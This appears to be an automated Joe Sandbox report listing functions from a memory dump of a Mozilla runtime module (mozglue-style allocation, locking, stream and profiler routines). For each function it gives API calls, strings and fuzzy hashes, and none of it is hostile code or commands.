Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 78e03c7f128760a8854f633852c8f027d90771755af3b7ca5f6422ae43a1c6b6
Instruction ID: ab7aae5c28caff2085a85b71ae004e5e8b73edc3e6bb70e30bcaa565f4288186
Opcode Fuzzy Hash: 78e03c7f128760a8854f633852c8f027d90771755af3b7ca5f6422ae43a1c6b6
Instruction Fuzzy Hash: 7F41C1B4E002088BDB10DFA8D845BDEB774FF09324F108629E816AB781E375D945CFA2

Function 6C321530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C32159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C3215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C3215E7
free.MOZGLUE(?,?,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C321606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C321637

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 742723df8dd4225c15bfb37312871ec57943f3a5e9adfe71ef4823923c305fe0
Instruction ID: 60370d5d79910e592d435f6341fa4b8c8c7d74c3b104b3f7e225f1d24f1f340f
Opcode Fuzzy Hash: 742723df8dd4225c15bfb37312871ec57943f3a5e9adfe71ef4823923c305fe0
Instruction Fuzzy Hash: 6A31EA729001148BCF188E78D95086E77E9BB813747340B6DE863DBBD4EB36DD158B92

Function 6C37AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AD9D

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE01
GetLastError.KERNEL32(?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE3D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: a19717db8c54dd1805b376c6ac0c85337787444a913bd13f7c15a2b4a59ba7b4
Instruction ID: 790b34ed26e7e8b43da7ab36db037edb8bddb2e2d448163894b7b793f9c96380
Opcode Fuzzy Hash: a19717db8c54dd1805b376c6ac0c85337787444a913bd13f7c15a2b4a59ba7b4
Instruction Fuzzy Hash: 993150B1A012159FDB10DF799C45AABB7F8EF48614F158829E88AD7700E738D804CBB5

Function 6C375EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C38DCA0,?,?,?,6C34E8B5,00000000), ref: 6C375F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C34E8B5,00000000), ref: 6C375F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C34E8B5,00000000), ref: 6C375F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C34E8B5,00000000), ref: 6C375F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C34E8B5,00000000), ref: 6C375FD6

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c3a073df107f18c4889b78fdda41bfe3c3cfa0eae1e6882bb5ef0951fa4ef4b4
Instruction ID: 4938c7c18921b92d3811c6dca62fda0e35dc9448f4719068083c8301abe8c73d
Opcode Fuzzy Hash: c3a073df107f18c4889b78fdda41bfe3c3cfa0eae1e6882bb5ef0951fa4ef4b4
Instruction Fuzzy Hash: EF31E934300600CFD724CF29C898A6AB7F9BF89719B644558E5568BBA5C736EC41CB94

Function 6C31B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C31B532
moz_xmalloc.MOZGLUE(?), ref: 6C31B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C31B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C31B57E
free.MOZGLUE(00000000), ref: 6C31B58F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 82e2157a523a7982e7ab536e70368fe759cd6912a166538d7da105994e5c3a7b
Instruction ID: cb4f4f08ba2fec6743600e24d86d7cd5f8b5d03de2bbda72f629a97a05cc45a3
Opcode Fuzzy Hash: 82e2157a523a7982e7ab536e70368fe759cd6912a166538d7da105994e5c3a7b
Instruction Fuzzy Hash: 0021F6B1A042059FDB009F69DC40BAABBB9FF45308F284129E918DB741F776D911CBA1

Function 6C31B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C31B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C31B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C31B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C31B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C31B849

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: a88b18c1fdf172d1aa8d10f663fe2736eabed738126ab9d03adb77734ff8af9b
Instruction ID: 798437f4f9f65a4cc970f3119e0fcbb651afa7a5d528557e5d58a40c1756913f
Opcode Fuzzy Hash: a88b18c1fdf172d1aa8d10f663fe2736eabed738126ab9d03adb77734ff8af9b
Instruction Fuzzy Hash: C1214BB0E002499FDF04DFA9D8855FEBBB8EF49718F148129E845AB700E731A944CFA1

Function 6C376E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C376E78

Part of subcall function 6C376A10: InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376A68
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376A7D
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376AA1
Part of subcall function 6C376A10: EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376AAE
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376AE1
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376B15
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C376B65
Part of subcall function 6C376A10: LeaveCriticalSection.KERNEL32(6C39F618,?,?), ref: 6C376B83

MozFormatCodeAddress.MOZGLUE ref: 6C376EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C376EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C376EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C376EFF

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: be883e9a14a3ec755d92bdfb840257deeb9108e00d7231a788e1994133c02293
Instruction ID: 96e2a1d1782b7e0ea169a79a7eaf387c33405541e01c0e05c60bee0929e92c8a
Opcode Fuzzy Hash: be883e9a14a3ec755d92bdfb840257deeb9108e00d7231a788e1994133c02293
Instruction Fuzzy Hash: 5121B271A0421A8FDB14CF29D8846DE77F9EF84308F044039E84997240EB359A488FA2

Function 6C350D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C313DEF), ref: 6C350D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C313DEF), ref: 6C350D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C313DEF), ref: 6C350DAF

Strings

<jemalloc>, xrefs: 6C350D92, 6C350DB9
: (malloc) Error in VirtualFree(), xrefs: 6C350D97, 6C350DBE

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d30fa503bc4c768976a13aff07a23ce57228ad5cb66706c3da950385d1f7d530
Instruction ID: 81edac79842c1668280e4ba4e3c575841eec2350293ca4ffda8b0b5f637b5fa9
Opcode Fuzzy Hash: d30fa503bc4c768976a13aff07a23ce57228ad5cb66706c3da950385d1f7d530
Instruction Fuzzy Hash: A1F0E97238429423E63025660C0AF5A26AD6BC2B6CF704035F755EE9C0FA53E4104EB5

Function 6C367620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C3675C4,?), ref: 6C36762B

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367644
GetCurrentThreadId.KERNEL32 ref: 6C36765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367677

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 3bb91c184b759316b23c0a92e3f7bb1b1957d9dc1e985b3f22e006964310fab8
Instruction ID: fce36bf51f9aa7bddbf968d1a23065a1ecd126274efbc33f8d092d8e5ca4da41
Opcode Fuzzy Hash: 3bb91c184b759316b23c0a92e3f7bb1b1957d9dc1e985b3f22e006964310fab8
Instruction Fuzzy Hash: 76F02271E10345ABE700CF21D888676B77CFFEA658F114316F90447601E7B1A5D08BD0

Function 6C371700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C371800

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C3718C7
Details, xrefs: 6C371925
name, xrefs: 6C371939

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1898517d099f9dce6e3c85a2f4e081424d2902af42c50b1a9a3046b98d0b123d
Instruction ID: bc0b2fc9375e2dda0bf72867fead04799de60a89e40b6779b3a7fecea1eb4b03
Opcode Fuzzy Hash: 1898517d099f9dce6e3c85a2f4e081424d2902af42c50b1a9a3046b98d0b123d
Instruction Fuzzy Hash: F67103B1A0034A9FC704DF28C45079ABBB5FF49304F044669D8594BB41E775EA98CFE2

Function 6C33D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

EnterCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D4F2
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D50B

Part of subcall function 6C31CFE0: EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
Part of subcall function 6C31CFE0: LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D52E
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D690
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D751

Strings

MOZ_CRASH(), xrefs: 6C33D4BB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 54ca233905a726d2833658255d8c3a33c3101abe9a7a2fb8f2cb51cc68e68e77
Instruction ID: 27b34337b88e05a05be1fb6b5e8b0347fb7f9fda1d76cb2f95a26a7d7766ef96
Opcode Fuzzy Hash: 54ca233905a726d2833658255d8c3a33c3101abe9a7a2fb8f2cb51cc68e68e77
Instruction Fuzzy Hash: 5851F271A047518FD318CF29C09461AB7F5FB89304F64892EE5AAC7B84E772E804CF92

Function 6C364630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C364721

Strings

., xrefs: 6C36476A
profiler-paused, xrefs: 6C3646E4
-%llu, xrefs: 6C364733

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 2e3a4f13f751655b43788da2bdb96300d06836854ebda5010c8db26f7b18d8e0
Instruction ID: 9c671b07e472c564cb1c73d16495900fa8cf245f03f41506e5092c1c1c38dba7
Opcode Fuzzy Hash: 2e3a4f13f751655b43788da2bdb96300d06836854ebda5010c8db26f7b18d8e0
Instruction Fuzzy Hash: D6416871E047089FCB08DF7AE85115EBBE9EF86744F10863EE8555BB45EB3198448B82

Function 6C389830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C38985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C38987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C3898DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C3898D9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 0a775bab9033b5b24e2574c0cb58198f7c8c8cf64fddf5ba621a2ddd8ce35e70
Instruction ID: 68b177ac9d89a8ed243d30a04fdf26cd441fa49d3593454c574cdccdae9897d0
Opcode Fuzzy Hash: 0a775bab9033b5b24e2574c0cb58198f7c8c8cf64fddf5ba621a2ddd8ce35e70
Instruction Fuzzy Hash: 84310871B002085BDB14AF59DC445EE77E9DF88318F40842DEA5A9BB40DB319905CFD2

Function 6C3646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C364721

Part of subcall function 6C314410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C353EBD,00000017,?,00000000,?,6C353EBD,?,?,6C3142D2), ref: 6C314444

Strings

., xrefs: 6C36476A
profiler-paused, xrefs: 6C3646E4
-%llu, xrefs: 6C364733

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 946ab77ff8daf12541ffbc8112ddeed62f04ac3d1f294f6dc6b72aaf2700016d
Instruction ID: 45ddd33d6b3c4673229e50015c82c68a7b44e396f7ff4f17a827dd95fbcdde06
Opcode Fuzzy Hash: 946ab77ff8daf12541ffbc8112ddeed62f04ac3d1f294f6dc6b72aaf2700016d
Instruction Fuzzy Hash: C7316871F042084FCB0CDF6ED89129EBBE6DB89314F14813EE8159BB84EB7198048F90

Function 6C36B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C36B127), ref: 6C36B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C36B4E4

Strings

pid:, xrefs: 6C36B4DE

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 309b1d9a52d077655230ede2ca47f3c701a09abdb0d072872e4316ba7a5adb6a
Instruction ID: f6dfa5a010a24e18feca1c116345f5a3bb1dec0176889adfd85e40a80e5936ac
Opcode Fuzzy Hash: 309b1d9a52d077655230ede2ca47f3c701a09abdb0d072872e4316ba7a5adb6a
Instruction Fuzzy Hash: 2D311331A012089BDB11DFAAD880AEEB7B9BF4430CF540529E9416BF45D732E845DFA1

Function 6C34AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(9HD89HD89HD89HD89HD89HD8,00000000), ref: 6C34AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(9HD89HD89HD8,00000000), ref: 6C34AFCC

Strings

9HD89HD89HD89HD89HD89HD8, xrefs: 6C34AFB8, 6C34AFE6

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: 9HD89HD89HD89HD89HD89HD8
API String ID: 2450287516-1601206428
Opcode ID: 4191f4b2ca4e3c573c420a79553862de8ed7229fe0a40d8afc0b324a22bb93c2
Instruction ID: a8dad203fb13b76685a421b4c55c7493f1355bc84767d7cfbb8c8abfecfb6230
Opcode Fuzzy Hash: 4191f4b2ca4e3c573c420a79553862de8ed7229fe0a40d8afc0b324a22bb93c2
Instruction Fuzzy Hash: 2511CE72D00B01AADB01DE6988403CE77E8AF02319F158166D961ABB80E6B285459FE1

